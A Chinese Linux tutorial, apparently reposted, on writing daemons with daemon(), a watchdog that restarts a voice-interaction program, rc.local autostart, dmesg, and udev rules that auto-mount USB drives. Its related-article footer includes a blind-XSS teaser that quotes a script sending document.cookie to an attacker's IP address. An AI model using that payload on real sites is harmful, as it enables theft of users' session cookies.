守护进程daemon(),C 库函数asctime、localtime,UDEV的配置文件,开机自启动,自动挂载U盘

一、守护进程
二、daemon()函数
三、C 库函数asctime、localtime
四、设置守护进程开机自启动
五、守护进程应用

    1. 编写判断守护进程是否在运行的程序
    1. 守护进程不让控制程序退出
    1. 把相关守护进程设置成开机自启动

六、dmesg
七、UDEV的配置文件(udev的rules编写)
八、自动挂载U盘

  • mount手动挂载
  • 自动挂载
  • tree命令

一、守护进程

Linux 守护进程编程鸟的博客-CSDN博客linux 守护进程
Linux:守护进程何小柒(qi)~的博客-CSDN博客linux守护进程

守护进程(Daemon Process)是在计算机系统后台运行的一类进程,它们通常在系统启动时启动,不依赖于用户直接操作,一直运行在后台,不受用户登录或注销的影响。守护进程的存在主要是为了执行特定的系统任务或服务,例如服务器、网络服务、定时任务等。

以下是守护进程的一些特点和常见特征:

  1. 后台运行: 守护进程通常在后台运行,不与任何终端关联,不接受用户的直接输入。

  2. 脱离终端: 守护进程通常会调用 fork 函数创建一个子进程,并使得子进程成为新的会话组长,从而脱离与终端的关联。

  3. 文件描述符: 守护进程通常会关闭与终端相关的文件描述符,以防止被终端关闭影响进程运行。

  4. 重定向标准输入输出: 守护进程通常会将标准输入、输出、错误重定向到 /dev/null 或其他适当的文件,以防止输出信息到终端。

  5. 权限: 守护进程通常以超级用户或其他特定用户的身份运行,以便执行需要特殊权限的任务。

  6. 信号处理: 守护进程通常会捕获并处理一些特定的信号,如 SIGHUP,以便在配置文件更改或其他条件下重新加载配置。

  7. 周期性任务: 守护进程通常执行一些周期性的任务,如定时清理、日志轮转等。

  8. 示例: 常见的守护进程包括 sshd(SSH 服务器守护进程)、httpd(Apache HTTP 服务器守护进程)等。

创建守护进程的一般步骤包括:

  1. 调用 fork 函数: 创建一个子进程,父进程退出,子进程继续执行。

  2. 调用 setsid 函数: 创建一个新的会话组,使得子进程成为新的会话组长。

  3. 修改工作目录: 为了防止卸载文件系统导致守护进程找不到文件,通常需要更改工作目录。

  4. 重定向标准输入输出: 将标准输入、输出、错误重定向到适当的文件。

  5. 关闭文件描述符: 关闭不需要的文件描述符,避免占用系统资源。

  6. 处理信号: 捕获并处理一些信号,如 SIGHUP

创建和管理守护进程需要谨慎处理,确保进程以安全和可靠的方式在后台运行。

二、daemon()函数

直接借助daemon()函数完成。

daemon() 函数是用于创建守护进程的函数,它在Unix/Linux系统中常被使用。

下面是 daemon() 函数的一般原型:

#include <unistd.h>int daemon(int nochdir, int noclose);
  • nochdir 参数用于指示是否改变守护进程的当前工作目录。如果 nochdir 为非零值,守护进程的当前工作目录将保持不变。

  • noclose 参数用于指示是否关闭所有的文件描述符。如果 noclose 为非零值,守护进程将不会关闭标准输入、标准输出和标准错误。

函数成功创建守护进程时返回 0,失败时返回 -1。

函数参数:
nochdir:为0时表示将当前目录更改至“/”
noclose:为0时表示将标准输入、标准输出、标准错误重定向至“ /dev/null”
返回值: 成功则返回0,失败返回-1

这个函数的典型用法如下:

#include <unistd.h>
#include <stdio.h>int main() {int result = daemon(1, 1);if (result == 0) {// 守护进程的主要逻辑// ...} else {perror("Failed to create daemon");}return 0;
}

请注意,使用 daemon() 函数创建守护进程的时候,要确保你的程序适合在后台运行,因为一旦它脱离了终端控制,就不再接收用户输入。

三、C 库函数asctime、localtime

创建守护进程的C程序,它将当前时间写入文件/home/orangepi/daemon.log,每隔10秒钟写入一次。程序会在接收到SIGQUIT信号时退出。

#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>
#include <stdbool.h>//C 库函数 char *asctime(const struct tm *timeptr) 返回一个指向字符串的指针,它代表了结构 struct timeptr 的日期和时间。
//C 库函数 struct tm *localtime(const time_t *timer) 使用 timer 的值来填充 tm 结构。timer 的值被分解为 tm 结构,并用本地时区表示。
/*
struct tm {int tm_sec; 秒,范围从 0 到 59int tm_min; 分,范围从 0 到 59int tm_hour; 小时,范围从 0 到 23int tm_mday; 一月中的第几天,范围从 1 到 31int tm_mon; 月份,范围从 0 到 11int tm_year; 自 1900 起的年数int tm_wday; 一周中的第几天,范围从 0 到 6int tm_yday; 一年中的第几天,范围从 0 到 365int tm_isdst; 夏令时
};
*/
static bool flag = true;void handler(int sig)
{printf("I got a signal %d\nI'm quitting.\n", sig);flag = false;
}int main()
{time_t t;int fd;//创建守护进程if (-1 == daemon(0, 0)){printf("daemon error\n");exit(1);}//设置信号处理函数struct sigaction act;act.sa_handler = handler;sigemptyset(&act.sa_mask);act.sa_flags = 0;if (sigaction(SIGQUIT, &act, NULL)){printf("sigaction error.\n");exit(0);}//进程工作内容while(flag){fd = open("/home/orangepi/daemon.log", O_WRONLY | O_CREAT | O_APPEND, 0644);if (fd == -1){printf("open error\n");}t = time(0);char *buf = asctime(localtime(&t));write(fd, buf, strlen(buf));close(fd);sleep(10);}return 0;
}

主要步骤:

  1. 使用daemon函数创建守护进程。
  2. 设置信号处理函数,处理SIGQUIT信号。
  3. 在循环中,打开文件/home/orangepi/daemon.log,将当前时间写入文件,然后关闭文件,然后休眠10秒。
  4. 当接收到SIGQUIT信号时,程序会打印信息并退出。

请确保在运行此程序之前,你有对/home/orangepi/目录的写入权限,并且该目录下没有同名的文件。

四、设置守护进程开机自启动

cd /etc
cd init.d
service udev restart

在这里插入图片描述

vi udev

在这里插入图片描述
开机自启动,绝对路径加程序名字

sudo vi /etc/rc.local

在这里插入图片描述

五、守护进程应用

需求:要求抖音语音交互的程序一直保持运行,防止应用程序崩溃意外

1. 编写判断守护进程是否在运行的程序:

ps -elf |grep TikTok_VUI|grep -v grep

exist_TikTokPro.c

#include <stdio.h>
#include <string.h>int main()
{FILE *file;char buffer[128] = {'\0'};char *cmd = "ps -elf |grep TikTok_VUI|grep -v grep";file = popen(cmd, "r");fgets(buffer, 128, file);if(strstr(buffer, "TikTok_VUI") != NULL){printf("TikTokPro is running\n");}else{printf("TikTokPro is not running\n");}printf("BUFFER:%s\n",buffer);
}

在这里插入图片描述
在这里插入图片描述

2. 守护进程不让控制程序退出:

在Linux和类Unix系统中,可以使用&符号将一个程序放到后台运行。通过在命令行末尾添加&,可以使命令在后台运行,而不会阻塞当前终端。

例如:

./your_program &

这将启动your_program并将其放到后台运行。请注意,这样做后,终端会立即返回,并且你可以继续在同一终端中执行其他命令。

如果你已经在终端中运行了一个程序,你也可以按下Ctrl + Z将其暂停,然后使用bg命令将其移到后台运行:

bg

这样程序将在后台继续执行。如果你想将其重新放回前台,可以使用fg命令:

fg

请注意,某些程序可能会产生输出,这些输出可能会出现在终端上。如果希望将输出保存到文件,你可以使用重定向:

./your_program > output.log 2>&1 &

这会将标准输出和标准错误都重定向到output.log文件中,并将程序放到后台运行。

daemon_TikTokPro.c

#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>
#include <stdbool.h>static bool flag = true;void handler(int sig)
{printf("I got a signal %d\nI'm quitting.\n", sig);flag = false;
}int existMent()
{FILE *file;char buffer[128] = {'\0'};char *cmd = "ps -elf |grep TikTok_VUI|grep -v grep";file = popen(cmd, "r");fgets(buffer, 128, file);if(strstr(buffer, "TikTok_VUI") != NULL){return 0;}else{return -1;}printf("BUFFER:%s\n",buffer);
}int main()
{time_t t;int fd;//创建守护进程if (-1 == daemon(0, 0)){printf("daemon error\n");exit(1);}//设置信号处理函数struct sigaction act;act.sa_handler = handler;sigemptyset(&act.sa_mask);act.sa_flags = 0;if (sigaction(SIGQUIT, &act, NULL)){printf("sigaction error.\n");exit(0);}//进程工作内容while (flag){if (existMent() == -1){system("/home/orangepi/TikTOK_VUI/TikTok_VUI /dev/ttyS5 &"); // & 设置为后台程序                                                           }sleep(2);}return 0;
}

在这里插入图片描述
grep -v grep命令用于在输出中排除包含"grep"字符串的行。通常,当使用ps等命令查找进程时,会出现包含"grep"字符串的行,因为执行ps命令本身也会出现在进程列表中。使用grep -v grep可以过滤掉这些行,只显示真正相关的内容。

例如,在查找包含关键字"example"的进程时,可以使用以下命令:

ps aux | grep example | grep -v grep

这将列出包含关键字"example"的进程,并通过grep -v grep过滤掉包含"grep"字符串的行。

ps -elf |grep TikTok_VUI |grep -v grep

在这里插入图片描述

3. 把相关守护进程设置成开机自启动

需求:设置TikTokUtils进程和守护进程daemon_TikTok开机自启动

sudo vi /etc/rc.local 开机自启动,绝对路径加程序名字

在这里插入图片描述
在这里插入图片描述

六、dmesg

dmesg是一个用于显示内核环缓冲区消息的命令。它可以用于查看系统启动时内核输出的信息,以及与硬件、驱动程序和内核相关的其他消息。以下是一些关于dmesg命令的常见用法:

  1. 显示所有消息:

    dmesg
    

    这会显示内核环缓冲区中的所有消息,包括启动消息和运行时消息。

  2. 过滤关键字:

    dmesg | grep keyword
    

    这会显示包含关键字的消息。例如,你可以使用dmesg | grep error来查看包含错误信息的日志。

  3. 显示最后几行:

    dmesg | tail
    

    这会显示内核环缓冲区中的最后几行消息。

  4. 清除内核环缓冲区:

    sudo dmesg -c
    

    这会清除内核环缓冲区,对于查看最近的启动消息很有用。

dmesg命令对于排查系统启动和硬件/驱动问题非常有用,因为它提供了与内核交互的一种方式,显示了内核在运行时发出的消息。

七、UDEV的配置文件(udev的rules编写)

规则文件是 udev 里最重要的部分,默认是存放在 /etc/udev/rule.d/ 下。
所有的规则文件必须以 “.rules” 为后缀名。

下面是一个简单的规则:

KERNEL=="sda", NAME="my_root_disk", MODE="0660"
KERNEL 是匹配键,NAME 和 MODE 是赋值键。

KERNEL 是匹配键,NAME 和 MODE 是赋值键。这条规则的意思是:如果有一个设备的内核名称为 sda,则该条件生效,执行后面的赋值:在 /dev 下产生一个名为my_root_disk 的设备文件,并把设备文件的权限设为 0660。

ls /dev/bus/usb/001/001
udevadm info --attribute-walk --name=/dev/设备名字

在这里插入图片描述

SUBSYSTEM=="usb", ATTRS{idVendor}=="1d6b", ATTRS{idProduct}=="0002", MODE="0666"

八、自动挂载U盘

mount手动挂载:

sudo mount /dev/sda1 /mnt/
cd /mnt/

在这里插入图片描述

自动挂载

udevadm info --attribute-walk --name=/dev/sda1

在这里插入图片描述
usbpan.rules

ACTION=="add", SUBSYSTEMS=="usb", SUBSYSTEM=="block", RUN{program}+="/bin/mkdir /media/%k" ,RUN{program}+="/usr/bin/systemd-mount --no-block --collect $devnode /media/%k"

这是一个udev规则,通常用于在插入USB存储设备时自动创建挂载点并挂载设备。这个规则的含义如下:

  • ACTION=="add": 规则只在添加设备时触发。
  • SUBSYSTEMS=="usb": 设备必须属于USB子系统。
  • SUBSYSTEM=="block": 设备必须是块设备。
  • RUN{program}+="/bin/mkdir /media/%k": 当设备满足规则条件时,运行命令创建 /media/ 目录下以设备名称(%k)命名的目录。
  • RUN{program}+="/usr/bin/systemd-mount --no-block --collect $devnode /media/%k": 运行 systemd-mount 命令,将设备挂载到之前创建的目录。

这个规则的效果是,当插入一个USB块设备时,udev将创建一个以设备名称为名字的目录(例如,如果设备名称是sdb1,那么将创建 /media/sdb1 目录),然后使用systemd-mount挂载设备。

请注意,使用systemd-mount需要系统使用systemd init系统。此外,一般情况下,挂载点应该在/mnt/目录下而不是/media/,因为/media/通常是由文件管理器等工具使用的默认挂载点。

cd /etc/udev/rules.d/
sudo vi usbpan.rules
sudo service udev restart

在这里插入图片描述
在这里插入图片描述
自动挂载成功

cd /media

在这里插入图片描述

tree命令

sudo apt-get install tree
tree /media/

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/139165.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

clang插件对llvm源码插桩,分析函数调用日志(1)--google镜像

tick_plot__compile.ipynb 时长边界_时上链异数: 长短函数调用链列表 0. 用matplotlib找系统中字体文件大于1MB的 中文字体通常很大&#xff0c;这样过滤出的 通常有中文字体 结果中 看名字 ‘AR PL UMing CN’ 果然是中文字体 from matplotlib.font_manager import fontManag…

景联文科技助力金融机构强化身份验证,提供高质量人像采集服务

随着社会的数字化和智能化进程的加速&#xff0c;人像采集在金融机构身份认证领域中发挥重要作用&#xff0c;为人们的生活带来更多便利和安全保障。 金融机构在身份验证上的痛点主要包括以下方面&#xff1a; 身份盗用和欺诈风险&#xff1a;传统身份验证方式可能存在漏洞&am…

【已解决】ModuleNotFoundError: No module named ‘sklearn‘

问题描述 Traceback (most recent call last): File "/home/visionx/nickle/temp/SimCLR/linear_evaluation.py", line 210, in <module> from sklearn.manifold import TSNE ModuleNotFoundError: No module named sklearn 解决办法 pip install numpy…

体验前所未有的显示器管理体验:BetterDisplay Pro Mac

在现代的数字化时代&#xff0c;显示器是我们日常生活和工作中不可或缺的一部分。从笔记本电脑到台式机&#xff0c;从平板电脑到手机&#xff0c;几乎所有的电子设备都配备了显示器。然而&#xff0c;对于专业人士和从事设计行业的人来说&#xff0c;仅仅依靠系统自带的显示器…

基于SpringBoot+Vue+mysql卓越导师双选系统设计与实现

博主介绍&#xff1a;✌Csdn特邀作者、博客专家、博客云专家、B站程序阿龙带小白做毕设系列&#xff0c;项目讲解、B站粉丝排行榜前列、专注于Java技术领域和毕业项目实战✌ 系统说明简介&#xff1a; 如今的信息时代&#xff0c;对信息的共享性&#xff0c;信息的流通性有着较…

自适应AI chatGPT智能聊天创作官网html源码/最新AI创作系统/ChatGPT商业版网站源码

源码简介&#xff1a; 自适应AI chatGPT智能聊天创作官网html源码&#xff0c;这是最新AI创作系统&#xff0c;作为ChatGPT商业版网站源码&#xff0c;它是支持创作、编写、翻译、写代码等。是一个智能聊天系统项目源码。 注意&#xff1a;这个只是网站html源码&#xff0c;要…

SpringCloud——消息总线——Bus

1.什么是总线&#xff1f; 我们在微服务的项目中&#xff0c;通常会构建一个共同的消息主题&#xff0c;然后需要的服务可以连接上来&#xff0c;该主题中产生的消息会被监听和消费&#xff0c;这种我们称为消息总线。 SpringCloud Bus 配合SpringCloud Config使用可以实现配置…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Jenkins 部署.net core 项目 - NU1301错误

/root/.jenkins/workspace/householdess/services/host/fdbatt.monitor.HttpApi.Host/fdbatt.monitor.HttpApi.Host.csproj : error NU1301: 本地源“/root/.jenkins/workspace/householdess/​http:/x.x.x.x:9081/repository/nuget.org-proxy/index.json”不存在。 [/root/.je…

汽车制动系统技术分析概要

目录 1.基本功能概述 2. 基本工作原理分析 2.1 Two-Box系统架构(Bosch_IBooster) 2.2 One-Box系统架构(Bosch_IPB) 2.3 ​​​​​​​ABS技术 2.4 TCS技术 2.5 VDC技术 2.6 EPB技术 2.7 小结 3. 该场景应用发展趋势分析 1.基本功能概述 传统汽车的底盘主要由传动系、…

最全面的软考架构师复习资料(历时2年整理)

一、面向服务的架构 1.请分别用200字以内文字说明什么是面向服务架构&#xff08;SOA&#xff09;以及ESB在SOA的作用与特点 面向服务的体系架构&#xff08;SOA&#xff09;是一种粗粒度、松耦合的服务架构&#xff0c;服务之间通过简单、精确定义接口进行通信。他可以根据需求…

CSS3 多媒体查询、网格布局

一、CSS3多媒体查询&#xff1a; CSS3 多媒体查询继承了CSS2多媒体类型的所有思想&#xff0c;取代了查找设备的类型。CSS3根据设置自适应显示。 多媒体查询语法&#xff1a; media not|only mediatype and (expressions) { CSS 代码...; } not: not是用来排除掉某些特定…

论文笔记:SimiDTR: Deep Trajectory Recovery with Enhanced Trajectory Similarity

DASFFA 2023 1 intro 1.1 背景 由于设备和环境的限制&#xff08;设备故障&#xff0c;信号缺失&#xff09;&#xff0c;许多轨迹以低采样率记录&#xff0c;或者存在缺失的位置&#xff0c;称为不完整轨迹 恢复不完整轨迹的缺失空间-时间点并降低它们的不确定性是非常重要…

RT-Thread构建与配置系统

简述 RT-Thread的构建与配置系统由以下几个部分组成&#xff1a; KConfig&#xff1a;kernel config配置文件&#xff08;提供系统的配置裁剪功能&#xff09;SCons&#xff1a;构建工具env工具&#xff1a;主要提供构建系统所需的各种环境变量以及软件包的管理 Kconfig在R…

【C++】this指针讲解超详细!!!

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

ElasticSearch的集群、节点、索引、分片和副本

Elasticsearch是面向文档型数据库&#xff0c;一条数据在这里就是一个文档。为了方便大家理解&#xff0c;我们将Elasticsearch里存储文档数据和关系型数据库MySQL存储数据的概念进行一个类比 ES里的Index可以看做一个库&#xff0c;而Types相当于表&#xff0c;Documents则相当…

宠物社区系统宠物领养小程序,宠物救助小程序系统多少钱?

当前很多的宠物被抛弃和虐杀&#xff0c;它们没有选择权&#xff0c;我们强制性的把狗带进人类的生活中&#xff0c;然后又无情的抛弃&#xff0c;让它们无家可归&#xff0c;变成流浪狗&#xff0c;它们做错了什么&#xff1f;流浪动物被主人遗弃之后居无定所&#xff0c;时刻…

海康工业相机如何提高相机帧率

影响帧率的因素 相机参数 帧率限制使能 像素格式 曝光时间 数据包大小&#xff08;网口&#xff09; 相机默认参数 ADC位深 系统环境设置

相机内外参实践之点云投影矢量图

目录 概述 涉及到的坐标变换 深度值可视化 3D点云的2D投影实现 实现效果 参考文献 概述 Camer的内外参在多模态融合中主要涉及到坐标系变换&#xff0c;即像素坐标、相机坐标以及其他坐标系。这篇就针对点云到图像的投影与反投影做代码实践&#xff0c;来构建一张具有深度…